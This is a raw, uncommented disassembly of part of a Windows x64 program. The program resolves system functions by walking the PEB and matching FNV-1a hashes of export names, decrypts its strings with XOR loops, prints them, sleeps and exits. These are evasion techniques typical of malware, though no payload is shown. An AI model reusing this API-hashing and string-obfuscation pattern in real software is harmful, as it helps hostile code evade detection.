movdqa xmmword [rsp + 0x190], xmm0
mov rcx, r10
nop dword [rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x1400a0080]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x1400a05a0]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x190]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x1400a0080]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x1400a05a0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x190]
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x10
jl 0x140014df0
cmp eax, 0x15
jge 0x140014f5f
movsxd r8, esi
add r8, r10
nop word [rax + rax]
mov eax, 0x92492493
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, sil
sub al, cl
add al, 0x39
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x15
jl 0x140014f30
mov rcx, r10
call r11
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x228]
lea rcx, [rsp + 0x30]
call fcn.140024460
movzx edx, byte [rax + 9]
test dl, dl
je 0x140014faf
xor byte [rax], 0x39
xor byte [rax + 1], 0x3a
xor byte [rax + 2], 0x3b
xor byte [rax + 3], 0x3c
xor byte [rax + 4], 0x3d
xor byte [rax + 5], 0x3e
xor byte [rax + 6], 0x3f
xor byte [rax + 7], 0x40
xor byte [rax + 8], 0x41
xor dl, 0x42
mov byte [rax + 9], dl
mov rdx, rax
mov rcx, rbx
call fcn.140026a20
mov rcx, rax
lea rdx, [0x1400ae6f0]
call fcn.140026ca0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov eax, dword [str.ZVH_]
mov dword [rsp + 0x68], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1400243cc
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1400243cc
mov edi, dword [r11 + 0x20]
nop dword [rax]
dec r10d
lea rcx, [rdi + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400243c3
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140015060
cmp r8d, 0x491e0a9c
jne 0x1400243c3
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov r8d, dword [rcx + rax*4]
add r8, r9
cmp r14d, 2
jl 0x14001512d
movdqa xmm3, xmmword [0x1400a0080]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400a05a0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400a0280]
movd xmm0, dword [rsp + 0x68]
xorps xmm2, xmm0
movd dword [rsp + 0x68], xmm2
jmp 0x140015173
lea r10, [rsp + 0x68]
mov r9d, esi
nop word [rax + rax]
mov eax, 0x92492493
imul r9d
add edx, r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r9b
sub al, cl
add al, 0x39
xor byte [r10], al
inc r9d
lea r10, [r10 + 1]
cmp r9d, 4
jl 0x140015140
lea rcx, [rsp + 0x68]
call r8
movups xmm0, xmmword [0x14009fe90]
movups xmmword [rsp + 0x408], xmm0
mov eax, dword [0x14009fea0]
mov dword [rsp + 0x418], eax
movzx eax, byte [0x14009fea4]
mov byte [rsp + 0x41c], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1400243bb
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1400243bb
mov edi, dword [r11 + 0x20]
nop dword [rax]
dec r10d
lea rcx, [r9 + r10*4]
mov edx, dword [rcx + rdi]
add rdx, r9
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400243b2
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140015220
cmp r8d, 0xe76fb4aa
jne 0x1400243b2
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov r10d, dword [rcx + rax*4]
add r10, r9
mov r8d, esi
cmp r14d, 2
jl 0x1400153bc
movdqa xmm0, xmmword [0x1400a0280]
movdqa xmmword [rsp + 0x190], xmm0
lea rcx, [rsp + 0x40c]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x1400a0080]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x1400a05a0]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x190]
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x1400a0080]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x1400a05a0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x190]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140015285
cmp r8d, 0x15
jge 0x140015403
movsxd rax, r8d
lea r9, [rsp + 0x408]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1400153d0
lea rcx, [rsp + 0x408]
call r10
mov eax, dword [0x14009fe88]
mov dword [rsp + 0x7f0], eax
movzx eax, word [0x14009fe8c]
mov word [rsp + 0x7f4], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_79]
movups xmm0, xmmword [0x14009fe78]
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rsp + 0x7f6], al
movups xmmword [rsp + 0x7e0], xmm0
mov ecx, esi
cmp r14d, 2
jl 0x1400155a5
movdqa xmm0, xmmword [0x1400a0280]
movdqa xmmword [rsp + 0x190], xmm0
lea rdx, [rsp + 0x7e4]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x1400a0080]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x1400a05a0]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x190]
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x1400a0080]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x1400a05a0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x190]
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140015473
cmp ecx, 0x17
jge 0x1400155ee
movsxd rax, ecx
lea r9, [rsp + 0x7e0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r9], al
inc ecx
lea r9, [r9 + 1]
cmp ecx, 0x17
jl 0x1400155c0
lea rdx, [rsp + 0x7e0]
mov rcx, r8
call fcn.140026a20
lea rdx, [0x140027050]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, esi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x1f84], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rsp + 0xc00]
call fcn.140026560
mov dword [rsp + 0xa88], 0x1f4
mov dword [rsp + 0xa8c], 0x3e8
mov r9d, 0x3e8
mov r8d, 0x1f4
lea rdx, [rsp + 0xc00]
lea rcx, [rsp + 0xa88]
call fcn.140027f00
mov ebx, eax
test eax, eax
jle 0x140015718
nop word [rax + rax]
mov qword [rsp + 0x160], 0x1f4
lea rdx, [rsp + 0x160]
lea rcx, [rsp + 0x168]
call fcn.140026c30
mov rcx, rax
call fcn.140027fd0
movzx eax, word [0x14009fde0]
mov word [rsp + 0x4c], ax
cmp byte [0x14009fde1], 0
je 0x1400156c8
mov byte [rsp + 0x4c], reloc.WLDAP32.dll_Ordinal_46
xor byte [rsp + 0x4d], 0x3a
lea rdx, [rsp + 0x4c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140026a20
lea rdx, [0x140027050]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
inc edi
sub ebx, 0x1f4
cmp edi, 0xa
je 0x1400156fa
test ebx, ebx
jg 0x140015680
lea rdx, [0x140026bf0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edi, esi
test ebx, ebx
jg 0x140015680
mov eax, dword [str.ZVH_]
mov dword [rsp + 0x6c], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1400243aa
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1400243aa
mov edi, dword [r11 + 0x20]
nop dword [rax]
dec r10d
lea rcx, [r9 + r10*4]
mov edx, dword [rcx + rdi]
add rdx, r9
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400243a1
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400157a0
cmp r8d, 0x491e0a9c
jne 0x1400243a1
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov r8d, dword [rcx + rax*4]
add r8, r9
cmp r14d, 2
jl 0x14001586d
movdqa xmm3, xmmword [0x1400a0080]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400a05a0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400a0280]
movd xmm0, dword [rsp + 0x6c]
xorps xmm2, xmm0
movd dword [rsp + 0x6c], xmm2
jmp 0x1400158b3
lea r10, [rsp + 0x6c]
mov r9d, esi
nop word [rax + rax]
mov eax, 0x92492493
imul r9d
add edx, r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r9b
sub al, cl
add al, 0x39
xor byte [r10], al
inc r9d
lea r10, [r10 + 1]
cmp r9d, 4
jl 0x140015880
lea rcx, [rsp + 0x6c]
call r8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov ebx, dword [rcx + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140024399
mov r10d, dword [rbx + 0x18]
test r10d, r10d
je 0x140024399
mov edi, dword [rbx + 0x20]
nop dword [rax]
dec r10d
lea rcx, [r9 + r10*4]
mov edx, dword [rcx + rdi]
add rdx, r9
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140024390
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140015930
cmp r8d, 0x2fa62ca8
jne 0x140024390
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
mov ecx, 0x1f4
call rdx
movups xmm0, xmmword [0x14009fa88]
movups xmmword [rsp + 0x480], xmm0
mov eax, dword [0x14009fa98]
mov dword [rsp + 0x490], eax
movzx eax, byte [0x14009fa9c]
mov byte [rsp + 0x494], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov ebx, dword [rcx + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140024388
mov r10d, dword [rbx + 0x18]
test r10d, r10d
je 0x140024388
mov edi, dword [rbx + 0x20]
nop dword [rax]
dec r10d
lea rcx, [rdi + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002437f
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140015a10
cmp r8d, 0xe76fb4aa
jne 0x14002437f
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov r10d, dword [rcx + rax*4]
add r10, r9
mov r8d, esi
cmp r14d, 2
jl 0x140015baa
movdqa xmm0, xmmword [0x1400a0280]
movdqa xmmword [rsp + 0x190], xmm0
lea rcx, [rsp + 0x484]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x1400a0080]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x1400a05a0]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x190]
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmmword [0x1400a0080]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmmword [0x1400a05a0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x190]
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140015a73
cmp r8d, 0x15
jge 0x140015bf3
movsxd rax, r8d
lea r9, [rsp + 0x480]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140015bc0
lea rcx, [rsp + 0x480]
call r10
mov eax, dword [0x14009fc34]
mov dword [rsp + 0x114], eax
movzx eax, word [0x14009fc38]
mov word [rsp + 0x118], ax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x14009fc3a]
mov byte [rsp + 0x114], reloc.WLDAP32.dll_Ordinal_32
xor byte [rsp + 0x115], 0x3a
xor byte [rsp + 0x116], 0x3b
xor byte [rsp + 0x117], 0x3c
xor byte [rsp + 0x118], 0x3d
xor byte [rsp + 0x119], 0x3e
xor al, 0x3f
mov byte [rsp + 0x11a], al
lea rdx, [rsp + 0x114]
call fcn.140026a20
lea rdx, [0x140027050]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov ebx, dword [rcx + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140024377
mov r10d, dword [rbx + 0x18]
test r10d, r10d
je 0x140024377
mov edi, dword [rbx + 0x20]
nop dword [rax]
dec r10d
lea rcx, [rdi + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002436e
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140015cf0
cmp r8d, 0x2fa62ca8
jne 0x14002436e
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
mov ecx, 0x1f4
call rdx
mov eax, dword [str.ZVH_]
mov dword [rsp + 0x70], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov ebx, dword [rcx + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140024366
mov r10d, dword [rbx + 0x18]
test r10d, r10d
je 0x140024366
mov edi, dword [rbx + 0x20]
nop dword [rax]
dec r10d
lea rcx, [r9 + r10*4]
mov edx, dword [rcx + rdi]
add rdx, r9
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002435d
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140015db0
cmp r8d, 0x491e0a9c
jne 0x14002435d
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov r8d, dword [rcx + rax*4]
add r8, r9
cmp r14d, 2
jl 0x140015e7b
movdqa xmm3, xmmword [0x1400a0080]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400a05a0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400a0280]
movd xmm0, dword [rsp + 0x70]
xorps xmm2, xmm0
movd dword [rsp + 0x70], xmm2
jmp 0x140015ec3
lea r10, [rsp + 0x70]
mov r9d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r9d
add edx, r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r9b
sub al, cl
add al, 0x39
xor byte [r10], al
inc r9d
lea r10, [r10 + 1]
cmp r9d, 4
jl 0x140015e90
lea rcx, [rsp + 0x70]
call r8
movups xmm0, xmmword [0x14009fa88]
movups xmmword [rsp + 0x498], xmm0
mov eax, dword [0x14009fa98]
mov dword [rsp + 0x4a8], eax
movzx eax, byte [0x14009fa9c]
mov byte [rsp + 0x4ac], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov ebx, dword [rcx + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140024355
mov r10d, dword [rbx + 0x18]
test r10d, r10d
je 0x140024355
mov edi, dword [rbx + 0x20]
nop dword [rax]
dec r10d
lea rcx, [r9 + r10*4]
mov edx, dword [rcx + rdi]
add rdx, r9
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14002434c
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140015f70
cmp r8d, 0xe76fb4aa
jne 0x14002434c
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov r10d, dword [rcx + rax*4]
add r10, r9
mov r8d, esi
cmp r14d, 2
jl 0x14001610a
movdqa xmm0, xmmword [0x1400a0280]
movdqa xmmword [rsp + 0x190], xmm0
lea rcx, [rsp + 0x49c]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmmword [0x1400a0080]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmmword [0x1400a05a0]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmmword [0x1400a05a0]
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a00a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a0110]
packuswb xmm2, xmm2
movd xmm0, dword [rsp + 0x190]
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
